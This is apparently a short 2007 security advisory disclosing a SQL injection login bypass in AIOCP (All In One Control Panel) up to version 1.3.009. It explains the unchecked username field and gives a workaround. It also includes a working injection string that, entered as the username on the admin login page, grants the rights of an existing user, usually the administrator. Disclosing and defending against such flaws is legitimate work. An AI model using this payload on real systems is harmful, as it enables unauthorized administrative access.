Subject: AIOCP Login Bypass Vulnerability

[i] Product Name: AIOCP - All In One Control Panel
[i] Vulnerable Versions: <= 1.3.009
[i] Bug found by: Coloss
[i] Contact: coloss7@...il.com
[i] Date: 9.1.2007

[i] Spec: AIOCP doesn't check the username posted by the client before using this to check authentication, so SQL Injection is possible
    Example shows how to bypass login
[i] Other infos: This works with magic_quotes_gpc = Off
[i] Workaround: Edit source code to properly check username
    No official patch is yet available

Parameters username and password are posted by the user on any login form. Password is crypted with md5() so it
cannot be used to perform any attack. Otherwise username isn't checked before the SQL query is performed.

[POC]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: [sql]
Password: <any password>


[Exploit example]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: ' OR user_id = '2' UNION SELECT * FROM aiocp_users WHERE user_name='
Password: <any password>

So you 'll get admin rights. (you 'll get rights of user with id = 2, usually admin)

Note: You have to substitute user_id = '<user_id>' with some existing user_id.. usually 2 is admin user id
